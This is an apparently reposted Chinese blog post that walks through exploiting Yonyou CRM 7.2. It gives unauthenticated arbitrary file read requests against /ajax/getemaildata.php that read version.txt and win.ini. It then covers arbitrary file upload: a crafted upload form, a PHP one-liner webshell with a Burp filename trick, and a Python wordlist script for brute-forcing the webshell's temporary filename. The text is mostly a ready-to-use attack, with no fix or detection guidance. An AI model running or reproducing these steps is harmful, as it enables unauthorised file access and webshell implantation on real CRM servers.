用友CRM系统，使用量非常广,这里存在任意文件读取漏洞、任意文件上传漏洞
任意文件读取
存在漏洞的文件为：
/ajax/getemaildata.php
访问
http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=../version.txt
可以看到用友版本
7.2 patch2
访问
http://IP:端口/ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini
可以看到C://windows/win.ini
任意文件上传
首先构造一个文件上传的页面
<html><formaction="http://IP:端口//ajax/getemaildata.php?DontCheckLogin=1"method="post"enctype="multipart/form-data"><inputtype="file"name="file"/><inputtype="submit"name="upload"value="upload"/></form></html>
选择php一句话木马
打开burp进行抓包，在文件上传的后缀名处添加一个空格
返回的
tmpfile\\mht3AC8.tmp.mht
即为木马地址，访问
http://IP:端口/tmpfile//mht3AC8.tmp.mht
即可看到未解析的马。木马的位置为
tmpfile/upd****.tmp.php
，将前面的mht改为upd，将后面的mht改为php
抓包，将其放到爆破工具里，爆破中间的
3AC8
，范围是从0000~FFFF，共65536个
生成字典的脚本如下：
withopen('1.txt','w')as f:for i inrange(0x10000):
f.write(format(i,'04X')+'\n')
该脚本会在当前目录下生成1.txt
成功访问到马
本文转载自: https://blog.csdn.net/m0_43397796/article/details/129206549
版权归原作者 神丶上单 所有， 如有侵权，请联系我们删除。
版权归原作者 神丶上单 所有， 如有侵权，请联系我们删除。